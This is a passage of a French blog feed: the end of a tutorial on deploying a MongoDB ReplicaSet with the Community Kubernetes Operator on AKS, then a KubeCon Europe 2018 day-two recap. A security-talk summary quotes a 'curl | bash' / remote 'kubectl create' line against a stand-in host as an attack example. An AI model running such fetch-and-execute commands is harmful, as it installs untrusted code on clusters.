&gt;Operator dans Kubernetes&lt;/a&gt; pour désigner un ensemble composé d’objets logiques (les CRD, aka Custom Resource Definitions) et d’un (ou plusieurs) Controller pour étendre les possibilités offertes nativement par Kubernetes. C’est très pratique et il y en a plein qui existent, comme par exemple celui pour déployer &lt;a class="link" href="https://github.com/coreos/prometheus-operator" target="_blank" rel="noopener"
&gt;Prometheus&lt;/a&gt; qui est un premiers&amp;hellip;&lt;/p&gt;
&lt;h2 id="mongodb-community-kubernetes-operator"&gt;MongoDB Community Kubernetes Operator
&lt;/h2&gt;&lt;p&gt;Depuis tout à l’heure, je vous parle de MongoDB Kubernetes Operator, mais c’est un abus de langage, car il existe en fait 2 versions différentes de l’Operator : Entreprise et Community.&lt;/p&gt;
&lt;p&gt;Vous vous en doutez, la version Community, gratuite, est bien moins complète que la version Entreprise, qui nécessite elle une souscription&amp;hellip; Le projet est disponible sur Github : &lt;a class="link" href="https://github.com/mongodb/mongodb-kubernetes-operator" target="_blank" rel="noopener"
&gt;MongoDB Community Kubernetes Operator&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This is a Kubernetes Operator which deploys MongoDB Community into Kubernetes clusters.&lt;/p&gt;
&lt;p&gt;If you are a MongoDB Enterprise customer, or need Enterprise features such as Backup, you can use the MongoDB Enterprise Operator for Kubernetes.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src="https://blog.zwindler.fr/2020/09/mongodb_operator.avif"
loading="lazy"
&gt;&lt;/p&gt;
&lt;p&gt;Pour ceux qui auraient déjà des bases MongoDB licenciées, sachez donc que la version &lt;a class="link" href="https://github.com/mongodb/mongodb-enterprise-kubernetes" target="_blank" rel="noopener"
&gt;Entreprise (dispo ici)&lt;/a&gt;, est plus complète avec des features comme les sauvegardes, ainsi que de plus nombreuses options de déploiements et un Chart Helm.&lt;/p&gt;
&lt;h2 id="prérequis"&gt;Prérequis
&lt;/h2&gt;&lt;p&gt;Allez, on y va.&lt;/p&gt;
&lt;p&gt;Pour ce tutoriel, je suis parti d’un cluster AKS vierge, et je partirai du principe que vous avez fait de même, avec un Kubernetes 1.18 (ou mieux) et les VMSS d’activés.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;az aks create --resource-group zwindlerk8s_rg --name zwindlerk8s --node-count 3 --node-vm-size Standard_DS2_v2 --kubernetes-version 1.18.2 --ssh-key-value ~/.ssh/mypublicsshkey.pub
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Normalement, par défaut, le cluster AKS est configuré avec des StorageClass par défaut. Si vous ne travaillez pas sur AKS (ou un autre cloud provider car ils en ont tous), il vous faudra nécessairement configurer une StorageClass par défaut car nous allons provisionner des volumes (bah oui, c’est pas du &lt;em&gt;Stateless&lt;/em&gt; on a dit ;-p).&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;kubectl --context=zwindlerk8s get StorageClass
NAME PROVISIONER RECLAIMPOLICY VOLUMEBINDINGMODE ALLOWVOLUMEEXPANSION AGE
azurefile kubernetes.io/azure-file Delete Immediate true 47m
azurefile-premium kubernetes.io/azure-file Delete Immediate true 47m
default (default) kubernetes.io/azure-disk Delete Immediate true 47m
managed-premium kubernetes.io/azure-disk Delete Immediate true 47m
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Si vous avez un cluster &lt;em&gt;on premise&lt;/em&gt; par exemple, vous pouvez vous baser sur ces tutoriels que j’ai écris il y a quelques années pour &lt;a class="link" href="https://blog.zwindler.fr/2017/10/24/tutoriel-xwiki-ma-premier-appli-stateful-sur-kubernetes/" &gt;déployer un cluster GlusterFS &lt;em&gt;extérieur&lt;/em&gt; et l’intégrer à Kubernetes&lt;/a&gt; ou bien encore celui là qui utilise Rook (un autre operator) pour &lt;a class="link" href="https://blog.zwindler.fr/2019/09/10/du-ceph-dans-mon-kubernetes/" &gt;déployer un cluster de stockage Ceph &lt;em&gt;dans&lt;/em&gt; Kubernetes&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="installation"&gt;Installation
&lt;/h2&gt;&lt;p&gt;OK, on peut commencer !&lt;/p&gt;
&lt;p&gt;La première chose à faire est évidemment de récupérer les sources de l’opérateur.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;git clone https://github.com/mongodb/mongodb-kubernetes-operator.git
cd mongodb-kubernetes-operator/
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="les-crds"&gt;Les CRDs
&lt;/h3&gt;&lt;p&gt;Une fois que c’est fait, on va pouvoir déployer les CRDs (mongodb.mongodb.com`) :&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;kubectl --context=zwindlerk8s create -f deploy/crds/mongodb.com_mongodb_crd.yaml
customresourcedefinition.apiextensions.k8s.io/mongodb.mongodb.com created
kubectl --context=zwindlerk8s get crd/mongodb.mongodb.com
NAME CREATED AT
mongodb.mongodb.com 2020-06-16T09:29:26Z
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="lopérateur-contrôleur"&gt;L’opérateur (contrôleur)
&lt;/h3&gt;&lt;p&gt;Pour faire propre, je met toujours les services techniques (ingress controllers, controllers, &amp;hellip;) dans un namespace séparé.&lt;/p&gt;
&lt;p&gt;Cependant ici, il faut savoir que le contrôleur a besoin d’être dans le même namespace que les bases qu’il est censé déployer.&lt;/p&gt;
&lt;p&gt;On créé donc un namespace qui va contenir notre contrôleur et les bases qui iront avec. Je choisi donc un nom très original :&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;kubectl --context=zwindlerk8s create ns mongodb
namespace/mongodb created
kubectl --context=zwindlerk8s get ns mongodb
NAME STATUS AGE
mongodb Active 13s
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Et enfin je le déploie :&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;kubectl --context=zwindlerk8s create -f deploy/ --namespace mongodb
deployment.apps/mongodb-kubernetes-operator created
role.rbac.authorization.k8s.io/mongodb-kubernetes-operator created
rolebinding.rbac.authorization.k8s.io/mongodb-kubernetes-operator created
serviceaccount/mongodb-kubernetes-operator created
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Comme vous pouvez le constater, le retour de la commande nous permet de voir que l’on a créé les objets suivants :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Un Deployment &lt;code&gt;mongodb-kubernetes-operator&lt;/code&gt;, qui contient l’intelligence de l’opérateur&lt;/li&gt;
&lt;li&gt;Un ServiceAccount &lt;code&gt;mongodb-kubernetes-operator&lt;/code&gt;, un Role &lt;code&gt;mongodb-kubernetes-operator&lt;/code&gt; et le RoleBinding associé &lt;code&gt;mongodb-kubernetes-operator&lt;/code&gt; pour les intéractions entre l’opérateur et Kubernetes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Au passage, le fait qu’il s’agisse d’un RoleBinding et non par d’un ClusterRoleBinding confirme bien qu’on soit ici sur un opérateur qui n’a pas de droits sur tout le cluster, mais que sur une division de celui ci.&lt;/p&gt;
&lt;h2 id="déployer-des-bases-mongodb"&gt;Déployer des bases MongoDB
&lt;/h2&gt;&lt;p&gt;Maintenant qu’on a configuré notre Operator dans son Namespace, on peut se pencher sur la création d’une base.&lt;/p&gt;
&lt;p&gt;En réalité, on ne va que rarement vouloir déployer qu’une seule base. Si vous connaissez MongoDB, vous savez que la base propose nativement une fonctionnalité de haute disponibilité via les ReplicaSets (à ne pas confondre avec les ReplicaSets de Kubernetes, qui sont un autre concept).&lt;/p&gt;
&lt;p&gt;Grosso modo, on va avoir 3 instances de la même base, contenant les mêmes données. L’une d’entre elle sera élue PRIMARY, les deux autres seront SECONDARY et la PRIMARY streamera toutes les modifs en écriture au SECONDARY. Basique.&lt;/p&gt;
&lt;p&gt;Comme on a maintenant un CRD mongodb dans notre Kubernetes, on peut donc définir avec ces quelques lignes de YAML qu’on veut un nouveau cluster &lt;em&gt;zwindler-mongodb&lt;/em&gt;, composé de &lt;em&gt;3&lt;/em&gt; noeuds dans un même &lt;em&gt;ReplicaSet&lt;/em&gt; (mongodb) en version &lt;em&gt;4.2.6&lt;/em&gt; dans le Namespace &lt;em&gt;mongodb&lt;/em&gt;.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;cat &amp;gt; zwindler-mongodb.yaml &amp;lt;&amp;lt; EOF
apiVersion: mongodb.com/v1
kind: MongoDB
metadata:
name: zwindler-mongodb
namespace: mongodb
spec:
members: 3
type: ReplicaSet
version: &amp;#34;4.2.6&amp;#34;
EOF
kubectl --context=zwindlerk8s apply -f zwindler-mongodb.yaml
mongodb.mongodb.com/zwindler-mongodb created
kubectl --context=zwindlerk8s --namespace mongodb get mongodb
NAME PHASE VERSION
zwindler-mongodb
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Et PAF ! En deux coups de cuillère à pot, on a un cluster MongoDB (bon en vrai il faut attendre quelques minutes qu’il s’initialise) :&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;kubectl --context=zwindlerk8s --namespace=mongodb get all
NAME READY STATUS RESTARTS AGE
pod/mongodb-kubernetes-operator-6cfbf85479-bcj85 1/1 Running 0 92m
pod/zwindler-mongodb-0 2/2 Running 0 8m8s
pod/zwindler-mongodb-1 2/2 Running 0 5m55s
pod/zwindler-mongodb-2 2/2 Running 0 3m33s
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
service/zwindler-mongodb-svc ClusterIP None &amp;lt;none&amp;gt; 27017/TCP 8m8s
NAME READY UP-TO-DATE AVAILABLE AGE
deployment.apps/mongodb-kubernetes-operator 1/1 1 1 92m
NAME DESIRED CURRENT READY AGE
replicaset.apps/mongodb-kubernetes-operator-6cfbf85479 1 1 1 92m
NAME READY AGE
statefulset.apps/zwindler-mongodb 3/3 8m8s
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="tester-notre-cluster"&gt;Tester notre cluster
&lt;/h2&gt;&lt;p&gt;Vous pouvez me croire sur parole, mais c’est quand même mieux de pouvoir vérifier que le cluster est bel et bien fonctionnel&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;La confiance n’exclue pas le contrôle&lt;/p&gt;
&lt;p&gt;(Vinz, si tu me lis ;-p)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Si vous avez un client mongoDB d’installé sur votre machine, alors le plus simple est de simplement faire du port forward entre vos Pods et votre machine avec kubectl :&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;kubectl port-forward --context=zwindlerk8s --namespace=mongodb service/zwindler-mongodb-svc 27018:27017
Forwarding from 127.0.0.1:27018 -&amp;gt; 27017
Forwarding from [::1]:27018 -&amp;gt; 27017
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A partir de là, je peux utiliser mon client mongoDB pour me connecter et vérifier le status du ReplicaSet :&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;mongo 127.0.0.1:27018
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:27018/test
MongoDB server version: 4.2.6
[...]
zwindler-mongodb:PRIMARY&amp;gt; rs.status().members
[
{
&amp;#34;_id&amp;#34; : 0,
&amp;#34;name&amp;#34; : &amp;#34;zwindler-mongodb-0.zwindler-mongodb-svc.mongodb.svc.cluster.local:27017&amp;#34;,
&amp;#34;health&amp;#34; : 1,
&amp;#34;state&amp;#34; : 1,
&amp;#34;stateStr&amp;#34; : &amp;#34;PRIMARY&amp;#34;,
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Je vous passe les détails, mais on voit bien que je me suis connecté ici sur le PRIMARY et si je lis toute la tartine de JSON que me renvoie MongoDB, j’ai bien mes 3 noeuds actifs.&lt;/p&gt;
&lt;h2 id="tester-la-résilience"&gt;Tester la résilience
&lt;/h2&gt;&lt;p&gt;Ce qu’il y a de bien avec Kubernetes, c’est que si une application, ou même un serveur complet tombe en panne, tout ce qui a besoin d’être redémarrer/déplacé va l’être, de manière automatique. La base MongoDB sera redémarrée sur un autre serveur et son disque détaché de l’ancien serveur puis rattaché sur le nouveau.&lt;/p&gt;
&lt;p&gt;C’est particulièrement pratique si vous êtes chez un cloud provider dont la stabilité des machines virtuelles est contestable (&lt;em&gt;cough cough&lt;/em&gt; &lt;em&gt;azure&lt;/em&gt; &lt;em&gt;cough&lt;/em&gt;), que vous n’aimez pas particulièrement être réveillé la nuit en astreinte et que vous n’avez pas le temps ou les moyens de mettre en place de coûteux mécanismes de redondance.&lt;/p&gt;
&lt;p&gt;Note : si vous voulez troller sur ce point précis, sachez que j’ai écris un billet d’humeur à ce sujet il y a 2 ans, je vous invite à venir m’en parler là bas&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://blog.zwindler.fr/2019/09/03/concerning-kubernetes-combien-de-problemes-ces-stacks-ont-generes/" &gt;Concerning Kubernetes : « combien de problèmes ces stacks ont générés ? »&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Dans ce test de résilience, je vais donc partir du cas le plus défavorable dans un ReplicaSet MongoDB, à savoir la perte du serveur Kubernetes qui héberge le MongoDB actuellement PRIMARY.&lt;/p&gt;
&lt;p&gt;Dans le cas présent, les connexions des applications clients seront coupées environ une seconde, le temps que l’élection se fasse, qu’un SECONDARY devienne le nouveau PRIMARY et que les applications s’y reconnecte. Côté applications, la coupure sera donc assez courte.&lt;/p&gt;
&lt;p&gt;Pour autant, côté MongoDB, il manquera un noeud dans le ReplicaSet. Et il faut que ce noeud revienne de lui même à la vie, sinon, la prochaine panne nous sera fatale (on dépassera largement cette &amp;ldquo;1 seconde&amp;rdquo; d’indisponibilité).&lt;/p&gt;
&lt;p&gt;J’ai donc, depuis ma console Azure, complètement supprimé le noeud &lt;code&gt;aks-nodepool1-42601413-vmss000000&lt;/code&gt;. Kubernetes ayant été configuré pour contenir 3 noeuds et qu’il fonctionne avec un VMSS, un &lt;code&gt;aks-nodepool1-42601413-vmss000003&lt;/code&gt; prend donc sa place.&lt;/p&gt;
&lt;p&gt;Au bout de quelque minutes, on remarque que &lt;code&gt;zwindler-mongodb-0&lt;/code&gt;, la base MongoDB qui a été supprimée, a été Rescheduled par Kubernetes sur &lt;code&gt;aks-nodepool1-42601413-vmss000003&lt;/code&gt; et fonctionne à nouveau.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;zwindler-mongodb-0 2/2 Running 0 28m 10.244.3.4 aks-nodepool1-42601413-vmss000003 &amp;lt;none&amp;gt; &amp;lt;none&amp;gt;
zwindler-mongodb-1 2/2 Running 0 89m 10.244.0.5 aks-nodepool1-42601413-vmss000001 &amp;lt;none&amp;gt; &amp;lt;none&amp;gt;
zwindler-mongodb-2 2/2 Running 0 87m 10.244.2.4 aks-nodepool1-42601413-vmss000002 &amp;lt;none&amp;gt; &amp;lt;none&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;So far, so good&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Et en se connectant une nouvelle fois via le mongo client, on remarque que le nouveau PRIMARY est mongo-1 et que mongo-0 a rejoins le cluster en tant que SECONDARY.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[...]
&amp;#34;name&amp;#34; : &amp;#34;zwindler-mongodb-0.zwindler-mongodb-svc.mongodb.svc.cluster.local:27017&amp;#34;,
&amp;#34;health&amp;#34; : 1,
&amp;#34;state&amp;#34; : 2,
&amp;#34;stateStr&amp;#34; : &amp;#34;SECONDARY&amp;#34;,
[...]
&amp;#34;name&amp;#34; : &amp;#34;zwindler-mongodb-1.zwindler-mongodb-svc.mongodb.svc.cluster.local:27017&amp;#34;,
&amp;#34;health&amp;#34; : 1,
&amp;#34;state&amp;#34; : 1,
&amp;#34;stateStr&amp;#34; : &amp;#34;PRIMARY&amp;#34;,
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;CQFD :)&lt;/p&gt;</description></item><item><title>Récap du deuxième jour de Kubecon Europe 2018</title><link>https://blog.zwindler.fr/2018/05/07/recap-du-deuxieme-jour-de-kubecon-europe-2018/</link><pubDate>Mon, 07 May 2018 14:00:58 +0000</pubDate><guid>https://blog.zwindler.fr/2018/05/07/recap-du-deuxieme-jour-de-kubecon-europe-2018/</guid><description>&lt;img src="https://blog.zwindler.fr/2018/05/20180502_114733_HDR-1.webp" alt="Featured image of post Récap du deuxième jour de Kubecon Europe 2018" /&gt;&lt;h2 id="deuxième-jour-de-kubecon"&gt;Deuxième jour de Kubecon
&lt;/h2&gt;&lt;p&gt;Depuis mardi soir, j’étais à Copenhague pour assister à la KubeCon + CloudNativeCon Europe 2018. Si vous n’avez pas lu mon résumé de la journée de mercredi, &lt;a class="link" href="https://blog.zwindler.fr/2018/05/03/recap-du-premier-jour-de-kubecon-europe-2018/" &gt;je vous propose d’aller le lire ici !&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Comme la veille, la journée a commencée par des Keynotes animées par Liz Rice &amp;amp; Kelsey Hightower.&lt;/p&gt;
&lt;p&gt;Attention : j’ai trouvé qu’il y avait un peu de bourrage de crâne de la part des sponsors, vous risquez de me voir râler un peu ;-)&lt;/p&gt;
&lt;h3 id="kubernetes-project-update"&gt;Kubernetes Project Update
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/b5/Kubernetes%20Project%20Update.pdf" target="_blank" rel="noopener"
&gt;&lt;em&gt;Keynote: Kubernetes Project Update - Aparna Sinha, Group Product Manager, Kubernetes and Google Kubernetes Engine, Google&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Dans le même style de la keynote de Liz Rice sur les évolutions dans les projets de la CNCF, cette Keynote a été l’occasion de revenir sur les fonctionnalités qui sont apparues dans les versions 1.8, 1.9 et plus récemment 1.10.&lt;/p&gt;
&lt;p&gt;Forcément, en 3 releases, le nombre de fonctionnalités sur un projet de cette ampleur est forcément impressionnant. On peut noter l’ajout des &lt;strong&gt;Cronjobs&lt;/strong&gt;, du support du &lt;strong&gt;Machine Learning&lt;/strong&gt;, du fait Kubernetes peut agir en tant qu’orchestrateur pour des &lt;strong&gt;workload Spark et l’operator Spark&lt;/strong&gt; (ceci à d’ailleurs fait l’objet d’une démo en live dans laquelle ont été comptés les mots dans l’oeuvre de shakespeare).&lt;/p&gt;
&lt;p&gt;Sur l’aspect sécurité, Aparna Sinha a lourdement insisté &lt;a class="link" href="https://github.com/google/gvisor" target="_blank" rel="noopener"
&gt;sur gvisor que Google a open sourcé&lt;/a&gt; dans le cadre de la conférence (micro kernel en userland permettant de ne pas exécuter les containers directement sur le kernel de l’hôte). On en a déjà eu une couche hier, et des confs étaient prévues dans la journée&amp;hellip;&lt;/p&gt;
&lt;p&gt;Des progrès ont également été fait avec l’introduction de la &lt;strong&gt;CSI (container storage interface)&lt;/strong&gt;, qui, comme la &lt;strong&gt;CNI&lt;/strong&gt; a pour but d’uniformiser la gestion du stockage via des extensions dans Kubernetes.&lt;/p&gt;
&lt;p&gt;Et Mme Google d’en remettre une couche pour dire à quel point ils sont sympa d’avoir open sourcé un bout de code dans Prometheus pour permettre à vos Prometheus &lt;em&gt;on premise&lt;/em&gt; de streamer les data vers le cloud (Google Cloud au hasard ?). Pour vous faciliter la vie et avoir tout dans un même endroit bien sûr ;).&lt;/p&gt;
&lt;h3 id="accelerating-kubernetes-native-applications"&gt;Accelerating Kubernetes Native Applications
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/49/BRANDON%20PHILIPS.pdf" target="_blank" rel="noopener"
&gt;&lt;em&gt;Keynote: Accelerating Kubernetes Native Applications - Brandon Philips, CTO of CoreOS, Red Hat&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Brandon Philips de CoreOS (racheté depuis peu par RedHat) est venu nous parler des Operators, ou comment étendre Kubernetes de manière propre. CoreOS est depuis longtemps impliquée dans le développement d’extensions de Kubernetes, notamment parce Tectonic en proposait 2 (les operators etcd &amp;amp; prometheus).&lt;/p&gt;
&lt;p&gt;Concrètement, on étend l’API de Kubernetes en créant de nouveaux objets logiques, ce qui nous permet de piloter des logiciels tiers comme s’ils faisaient partie du cluster.&lt;/p&gt;
&lt;p&gt;Pour continuer dans cette veine, CoreOS a mis à disposition un Framework, « l’Operator framework », dont le but est de faciliter la création des operators par des sociétés/projets tiers.&lt;/p&gt;
&lt;p&gt;Bel effort, il faudra voir si ça prend ou pas.&lt;/p&gt;
&lt;h3 id="rex-du-financial-times"&gt;REX du Financial times
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/97/SARAH%20KubeconEurope2018_final.pdf" target="_blank" rel="noopener"
&gt;&lt;em&gt;Keynote: Switching Horses Midstream: The Challenges of Migrating 150+ Microservices to Kubernetes - Sarah Wells, Technical Director for Operations and Reliability, Financial Times&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Un REX très agréable et très bien présenté par Sarah Wells. Le Financial Times, comme beaucoup de compagnies, fait de l’IT de pointe, non pas parce que c’est son coeur de métier, mais par nécessité.&lt;/p&gt;
&lt;p&gt;Quand ils sont passés sous Docker en 2015, le moins que l’on puisse dire c’est que la peinture n’était pas encore complètement fraîche, et une solution maison a du être montée pour répondre aux besoins. Et quand courant 2016, l’ensemble de la core-team qui a passé la production sous Docker est partie d’un coup, il a fallu faire face et trouver une solution.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Choose boring technology&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Fin 2016, les équipes en places ont donc considérés les alternatives, ont décidés que Kubernetes étaient le leader émergents avec le plus de chances de devenir le standard de facto (bien vu) et banco.&lt;/p&gt;
&lt;p&gt;Enfin, banco, c’est vite dit !&lt;/p&gt;
&lt;p&gt;Une grosse partie de la Keynote a justement gravité autour du fait qu’il n’est pas si facile de migrer des centaines de microservices en production d’une solution maison basée sur Docker à un orchestrator comme Kubernetes !&lt;/p&gt;
&lt;p&gt;Quelques questions/réflexions qu’ils ont du se poser. J’en ai noté quelques unes :&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;How do you work in parallel (separate branches or if/else in code) ?&lt;br&gt;
Separate deployment mechanisms vs a single one ?&lt;br&gt;
On which branch must I do the testing ?&lt;br&gt;
Making sure a service will recover if k8s moves it elsewhere&lt;br&gt;
It’s easy to get sucked into making things better&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="shaping-the-cloud-native-future"&gt;Shaping the cloud native future
&lt;/h3&gt;&lt;p&gt;&lt;em&gt;Keynote: Shaping the Cloud Native Future - Abby Kearns, Executive Director, Cloud Foundry Foundation&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Sincèrement, je n’ai pas compris le message. J’ai juste noté ça :&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Cloud native&lt;br&gt;
Cloud everything&lt;br&gt;
Interoperability &amp;amp; Velocity &amp;amp; Innovation&lt;br&gt;
On peut faire tout ça avec Cloud Foundry et l’armée de l’air des états unis économise plein d’argent grâce à nous&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next.&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="skip-the-anxiety-attack---build-secure-apps-with-kubernetes"&gt;Skip the Anxiety Attack - Build Secure Apps with Kubernetes
&lt;/h3&gt;&lt;p&gt;&lt;em&gt;Keynote: Skip the Anxiety Attack - Build Secure Apps with Kubernetes - Jason McGee, Fellow, IBM&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Kubernetes est un composant majeur pour vos cloud native apps, qui s’intègre nativement dans les processus de types CI/CD, offre une infrastructure flexible, permet de gérer la sécurité&amp;hellip;&lt;/p&gt;
&lt;p&gt;En plus de ça dans notre super cloud on peut ajouter traquer les vulnérabilités de vos containers, on a du TXT intel et du istio.io, blablabla&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next.&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="softwares-community"&gt;Software’s community
&lt;/h3&gt;&lt;p&gt;&lt;em&gt;Keynote: Software’s Community - Dave Zolotusky, Software Engineer, Spotify&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;On sort un peu du marketing mal déguisé et on repasse sur un REX, celui de Spotify !&lt;/p&gt;
&lt;p&gt;Plutôt que de faire encore un talk sur leur migration vers K8s et les problèmes qu’ils ont rencontrés, Dave Zolotusky a préféré faire un talk sur ce que leur a apporté la communauté open source et pourquoi il faut contribuer.&lt;/p&gt;
&lt;p&gt;Concrètement, Dave venait du monde &lt;em&gt;closed source&lt;/em&gt;, avec des supports payant pour chacun des progiciels en production.&lt;/p&gt;
&lt;p&gt;Depuis qu’il est chez Spotify et leur migration vers K8s et l’écosystèmes opensource qui gravite autour, à chaque fois qu’ils ont rencontrés un problème complexe, ils se sont tournés vers la communauté et à leur plus grande surprise, ont trouvé rapidement quelqu’un pour les aider.&lt;/p&gt;
&lt;p&gt;Que ce soit faire des &lt;strong&gt;Ingress cross namespaces&lt;/strong&gt; ou les problèmes qu’ils ont pu rencontrer en les configurant, ou encore quand ils ont configurés leurs Prometheus, il y avait toujours un dev sur Slack ou un pair de la CNCF pour leur répondre.&lt;/p&gt;
&lt;p&gt;Certes, ce talk est un peu &lt;em&gt;bateau&lt;/em&gt; dans une conf autour de projets open sources, mais ça fait toujours du bien à entendre, surtout venant d’une société (1) relativement connue, (2) dont ce n’est pas le cœur de métier.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We are all facing the same problems. And even if you’re THAT guy that has a problem no one else has, please share it. Others may look up to you when they’ll face the same problem later.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="et-cest-reparti-pour-le-multi-track"&gt;Et c’est reparti pour le multi-track
&lt;/h2&gt;&lt;h3 id="applying-least-privileges-through-kubernetes-admission-controllers"&gt;Applying least privileges through Kubernetes admission controllers
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://kccnceu18.sched.com/event/EgBG/applying-least-privileges-through-kubernetes-admission-controllers-benjy-portnoy-aqua-security-intermediate-skill-level" target="_blank" rel="noopener"
&gt;&lt;em&gt;Applying Least Privileges through Kubernetes Admission Controllers - Benjy Portnoy, Aqua Security&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Benjy Portnoy a fait quelques rappels de sécurités sur tout bon cluster Kubernetes.&lt;/p&gt;
&lt;p&gt;Même si les recommandation sont un peu « obvious », ça fait toujours du bien de rappeler pourquoi il faut le faire (et le faire ;p).&lt;/p&gt;
&lt;p&gt;Privilèges minimum pour tous les utilisateurs, autant sur les objets (limiter à des types d’objets, mais limiter aussi les actions qui peuvent être faites sur cet objet). Ça permet de limiter l’impact de l’erreur humaine ou de l’attaque de type social engineering du type :&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;curl | bash // kubectl create -f http://fakeapp.example.org.yaml
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Benjy a rapidement rappelé qu’il existe un certain nombre de bonnes pratiques qui sont tout simplement décrites dans la documentation officielle de Kubernetes : authentification RBAC, segmentation des réseaux, &lt;strong&gt;PodSecurityPolicy&lt;/strong&gt;, chiffrement des Secrets, enregistrement de tout ce qui se passe sur le cluster à des fins d’audit, &amp;hellip;&lt;/p&gt;
&lt;p&gt;Mais le focus du talk a surtout été l’utilisation des &lt;strong&gt;AdmissionControllers&lt;/strong&gt;, avec plusieurs exemples :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Allways pull images&lt;/li&gt;
&lt;li&gt;Deny escalating exec&lt;/li&gt;
&lt;li&gt;Pod security policy&lt;/li&gt;
&lt;li&gt;Node restriction&lt;/li&gt;
&lt;li&gt;Resource quota&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Les possibilités de sécurisations sont infinies et ça nécessite d’y passer du temps car ce n’est pas « built-in » ;-).&lt;/p&gt;
&lt;p&gt;Pour finir, Benjy a listé quelques outils permettant d’auditer soit même son cluster ou ses pods. A tester !&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/aquasecurity/kube-bench" target="_blank" rel="noopener"
&gt;Kube-bench&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;kubehunter (pas encore public)&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://kubesec.io/" target="_blank" rel="noopener"
&gt;kubesec.io&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://web.archive.org/web/20210804215839/https://blog.aquasec.com/microscanner-free-image-vulnerability-scanner-for-developers" target="_blank" rel="noopener"
&gt;Microscanner&lt;/a&gt; (ajouter 2 lignes dans tous les Dockerfiles pour avoir un retour sur la sécurité des images sous-jacentes)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="kubevisor"&gt;Kubevisor
&lt;/h3&gt;&lt;p&gt;J’avais prévu d’aller voir « &lt;a class="link" href="https://kccnceu18.sched.com/event/Dqus/understanding-distributed-consensus-in-etcd-and-kubernetes-laura-frank-codeship-intermediate-skill-level" target="_blank" rel="noopener"
